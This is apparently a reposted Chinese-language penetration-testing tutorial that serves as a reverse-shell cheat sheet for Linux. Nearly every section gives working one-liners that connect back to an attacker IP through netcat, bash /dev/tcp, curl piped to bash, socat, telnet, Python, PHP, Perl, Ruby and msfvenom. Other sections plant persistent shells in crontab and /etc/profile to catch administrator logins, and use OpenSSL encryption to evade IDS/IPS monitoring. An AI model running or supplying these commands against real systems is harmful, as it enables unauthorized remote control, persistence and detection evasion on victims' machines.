反彈 Shell,看這一篇就夠了

前言

在滲透測試實戰中,我們經常會遇到 Linux 系統環境,而讓 Linux 主機反彈個 shell 是再常見不過的事情了。

反彈 shell,就是攻擊機監聽在某個 TCP/UDP 端口爲服務端,目標機主動發起請求到攻擊機監聽的端口,並將其命令行的輸入輸出轉到攻擊機。

正向連接

假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標 ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面、web 服務、ssh、telnet 等等都是正向連接。

反向連接

那麼爲什麼要用反彈 shell 呢?

反彈 shell 通常適用於如下幾種情況:

• 目標機因防火牆受限,目標機器只能發送請求,不能接收請求。• 目標機端口被佔用。• 目標機位於局域網,或 IP 會動態變化,攻擊機無法直接連接。• 對於病毒,木馬,受害者什麼時候能中招,對方的網絡環境是什麼樣的,什麼時候開關機,都是未知的。•......

對於以上幾種情況,我們是無法利用正向連接的,要用反向連接。

那麼反向連接就很好理解了,就是攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,即爲反向連接。

反彈 shell 的方式有很多,那具體要用哪種方式還需要根據目標主機的環境來確定,比如目標主機上如果安裝有 netcat,那我們就可以利用 netcat 反彈 shell,如果具有 python 環境,那我們可以利用 python 反彈 shell。如果具有 php 環境,那我們可以利用 php 反彈 shell。

利用 netcat 反彈 shell

Netcat 是一款簡單的 Unix 工具,使用 UDP 和 TCP 協議。它是一個可靠的容易被其他程序所啓用的後臺操作工具,同時它也被用作網絡的測試工具或黑客工具。使用它你可以輕易的建立任何連接。

目前,默認的各個 linux 發行版本已經自帶了 netcat 工具包,但是可能由於處於安全考慮原生版本的 netcat 帶有可以直接發佈與反彈本地 shell 的功能參數 -e 都被閹割了,所以我們需要自己手動下載二進制安裝包,安裝的如下:

wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean

安裝完原生版本的 netcat 工具後,便有了 netcat -e 參數,我們就可以將本地 bash 反彈到攻擊機上了。

攻擊機開啓本地監聽:

netcat -lvvp 2333

目標機主動連接攻擊機:

netcat 47.xxx.xxx.72 2333 -e /bin/bash
# nc <攻擊機IP> <攻擊機監聽的端口> -e /bin/bash

執行效果如下:

利用 Bash 反彈 shell

個人感覺反彈 shell 最好用的方法就是使用 bash 結合重定向方法的一句話,具體命令如下:

bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
或
bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1"
# bash -i >& /dev/tcp/攻擊機IP/攻擊機端口 0>&1

以下是針對 Bash 反彈一句話進行了拆分說明:

2xqmaM

Bash 反彈一句完整的解讀過程就是:

Bash 產生了一個交互環境和本地主機主動發起與攻擊機 2333 端口建立的連接(即 TCP 2333 會話連接)相結合,然後在重定向個 TCP 2333 會話連接,最後將用戶鍵盤輸入與用戶標準輸出相結合再次重定向給一個標準的輸出,即得到一個 Bash 反彈環境。

攻擊機開啓本地監聽:

nc -lvvp 2333

目標機主動連接攻擊機:

bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

執行效果如下:

Curl 配合 Bash 反彈 shell

這裏操作也很簡單,藉助了 Linux 中的管道。

首先,在攻擊者 vps 的 web 目錄裏面創建一個 index 文件(index.php 或 index.html),內容如下:

bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1

並開啓 2333 端口的監聽。

然後再目標機上執行如下,即可反彈 shell:

curl 47.xxx.xxx.72|bash

執行效果如下:

根據 curl 命令和 Linux 管道的作用,你不難理解這其中的原理。

Curl 配合 Bash 反彈 shell 的方式在 CTF 題目中經常出現,curl IP|bash 中的 IP 可以是任意格式的,可以是十進制、十六進制、八進制、二進制等等。

將反彈 shell 的命令寫入定時任務

我們可以在目標主機的定時任務文件中寫入一個反彈 shell 的腳本,但是前提是我們必須要知道目標主機當前的用戶名是哪個。因爲我們的反彈 shell 命令是要寫在 /var/spool/cron/[crontabs]/<username> 內的,所以必須要知道遠程主機當前的用戶名。否則就不能生效。

比如,當前用戶名爲 root,我們就要將下面內容寫入到 /var/spool/cron/root 中。(centos 系列主機)

比如,當前用戶名爲 root,我們就要將下面內容寫入到 /var/spool/cron/crontabs/root 中。(Debian/Ubuntu 系列主機)

*/1  *  *  *  *   /bin/bash -i>&/dev/tcp/47.xxx.xxx.72/2333 0>&1
#每隔一分鐘,向47.xxx.xxx.72的2333號端口發送shell

將反彈 shell 的命令寫入 / etc/profile 文件

將以下反彈 shell 的命寫入 / etc/profile 文件中,/etc/profile 中的內容會在用戶打開 bash 窗口時執行。

/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 &
# 最後面那個&爲的是防止管理員無法輸入命令

當目標主機管理員遠程連接該主機時,就會執行該命令,成功獲得目標機的 shell:

利用 Socat 反彈 shell

Socat 是 Linux 下一個多功能的網絡工具,名字來由是”Socket CAT”,因此可以看出它是基於 socket 的,其功能與 netcat 類似,不過據說可以看做 netcat 的加強版,事實上的確也是如此。我這裏只簡單的介紹下怎麼使用它開啓監聽和反彈 shell,其他詳細內容可以參見這裏:http://brieflyx.me/2015/linux-tools/socat-introduction/

安裝 Socat 的方法很簡單:

•Ubuntu 等可以直接使用 apt-get install socat 命令進行安裝 • 也可以去官網下載源碼包:http://www.dest-unreach.org/socat

攻擊機開啓本地監聽:

socat TCP-LISTEN:2333 -
或
nc -lvvp 2333

目標機主動連接攻擊機:

socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane

執行效果如下:

利用 Telnet 反彈 shell

當 nc 和 / dev/tcp 不可用,且目標主機和攻擊機上支持 Telnet 服務時,我們可以使用 Telnet 反彈 shell。

方法一

攻擊機開啓本地監聽:

nc -lvvp 2333

目標機主動連接攻擊機:

mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a

執行效果如下:

方法二

攻擊機需要開啓兩個本地監聽:

nc -lvvp 2333
nc -lvvp 4000

目標機主動連接攻擊機:

telnet 47.101.57.72 2333 | /bin/bash | telnet 47.101.57.72 4000

如上圖所示,獲得 shell 後,在攻擊機 2333 端口的終端上輸入的命令會在目標機上執行,執行的回顯將通過 4000 端口的終端顯示出來。

各種腳本反彈 shell

Python 腳本反彈 shell

當目標主機上有 python 環境時,我們可以用 Python 來反彈 shell。Python 在現在一般發行版 Linux 系統中都會自帶,所以使用起來也較爲方便,即使沒有安裝,我們手動安裝也很方便。

攻擊機開啓本地監聽:

nc -lvvp 2333

目標機主動連接攻擊機:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.xxx.xxx.72",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

執行效果如下:

php 腳本反彈 shell

當目標主機上有 php 環境時,我們可以用 php 來反彈 shell。

攻擊機開啓本地監聽:

nc -lvvp 2333

目標機主動連接攻擊機:

php -r '$sock=fsockopen("47.xxx.xxx.72",2333);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl 腳本反彈 shell

當目標主機上有 perl 環境時,我們可以用 perl 來反彈 shell。

攻擊機開啓本地監聽:

nc -lvvp 2333

目標機主動連接攻擊機:

perl -e 'use Socket;$i="47.101.57.72";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

執行效果如下:

Ruby 腳本反彈 shell

當目標主機上有 ruby 環境時,我們可以用 ruby 來反彈 shell。

攻擊機開啓本地監聽:

nc -lvvp 2333

目標機主動連接攻擊機:

ruby -rsocket -e 'c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
或
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("47.xxx.xxx.72","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

執行效果如下:

使用 Metasploit 生成反彈 shell 用的一句話

強大的 Metasploit 框架也爲我們提供了生成一句話反彈 shell 的工具,即 msfvenom,絕對的實用。當我們不記得前面說的所有反彈 shell 的反彈語句時,只要我們有 Metasploit,那麼我們隨時都可以使用 msfvenom -l 來查詢生成我們所需要的各類命令行一句話,具體使用方法如下。

我們直接可以使用 msfvenom -l 結合關鍵字過濾(如 cmd/unix/reverse),列出我們需要生成的各類反彈 shell 一句話的 payload:

msfvenom -l payloads | grep 'cmd/unix/reverse'

如上圖所示,metasploit 支持生成反彈 shell 一句話的類型非常豐富,大家可以依據滲透測試對象自行選擇使用。比如,我們獲取一個 python 反彈 shell 的一句話:

msfvenom -p cmd/unix/reverse_python LHOST=47.xxx.xxx.72 LPORT=2333 -f raw

將生成的 python 反彈 shell 的一句話在目標主機上執行即可:

反彈 shell 後獲取模擬終端

其實,上面所講的各種方法獲取的 shell 都不是一個標準的虛擬終端環境,它僅僅是一個標準輸入。你會發現存在一個問題,就是即使我們獲取了目標虛擬終端控制權限,但是往往會發現其交互性非常的差,回顯信息與可交互性非常的差和不穩定,具體見情況有以下幾個種。

• 獲取的虛擬終端沒有交互性,我們想給添加的賬號設置密碼或執行 sudo 等命令,無法完成。• 標準的錯誤輸出無法顯示,無法正常使用 vim 等文本編輯器等。• 獲取的目標主機的虛擬終端使用非常不穩定,很容易斷開連接。

這往往都是因爲我們獲取的 shell 並不是標準的虛擬終端,爲了能夠完成輸入密碼等操作,我們必須模擬一個真正的終端設備。

我們其實可以藉助於 python 默認包含的一個 pty 標準庫來獲取一個標準的虛擬終端環境。Python 在現在一般發行版 Linux 系統中都會自帶,所以使用起來也較爲方便,即使沒有安裝,我們手動安裝也很方便。

我們只需在獲取的 shell 裏面輸入如下命令,即可模擬一個終端設備:

python -c "import pty;pty.spawn('/bin/bash')"

如上圖所示,成功模擬在 shell 中出了一個終端設備,併成功執行了 sudo 等命令。

使用 OpenSSL 反彈加密 shell

在上文中,我們總結了很多反彈 shell 得方法,但是我發現這種反彈 shell 方式都有一個缺點,那就是所有的流量都是明文傳輸的。這些通過 shell 通過傳輸的流量都可以被管理員直接抓取並理解,當目標主機網絡環境存在網絡防禦檢測系統時(IDS、IPS 等),網絡防禦檢測系統會獲取到我們的通信內容並進行告警和阻止。因此,我們需要對通信的內容進行混淆或加密,這時可以選擇使用 OpenSSL 反彈一個加密的 shell。

OpenSSL 簡介

在計算機網絡上,OpenSSL 是一個開放源代碼的軟件庫包,應用程序可以使用這個包來進行安全通信,避免竊聽,同時確認另一端連接者的身份。

SSL 協議要求建立在可靠的傳輸層協議 (TCP) 之上。SSL 協議的優勢在於它是與應用層協議獨立無關的,高層的應用層協議 (例如:HTTP,FTP,TELNET 等) 能透明地建立於 SSL 協議之上。SSL 協議在應用層協議通信之前就已經完成加密算法、通信密鑰的協商及服務器認證工作。在此之後應用層協議所傳送的數據都會被加密,從而保證通信的私密性。

在利用 OpenSSL 反彈 shell 之前需要先生成自簽名證書:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

生成自簽名證書時會提示輸入證書信息,如果懶得填寫可以一路回車即可:

使用 OpenSSL 反彈加密 shell

實驗環境:Linux

目標機:

• 系統:Linux•IP:192.168.1.8

攻擊機:

• 系統:Linux•IP:47.xxx.xxx.72

假設我們從目標機反彈 shell 到攻擊機 。首先需要利用上一步生成的自簽名證書,在攻擊機上使用 OpenSSL 監聽一個端口,在這裏使用 2333 端口:

openssl s_server -quiet -key key.pem -cert cert.pem -port 2333

此時 OpenSSL 便在攻擊機的 2333 端口上啓動了一個 SSL/TLS server。

這時在目標機進行反彈 shell 操作,命令爲:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.xxx.xxx.72:2333 > /tmp/s; rm /tmp/s

這樣攻擊者便使用 OpenSSL 反彈了目標機一個加密的 shell。

原創投稿作者:Mr.Anonymous

博客: whoamianony.top

本文由 Readfog 進行 AMP 轉碼,版權歸原作者所有。
來源https://mp.weixin.qq.com/s/5rcULU3stZkmqmXFX_pwzA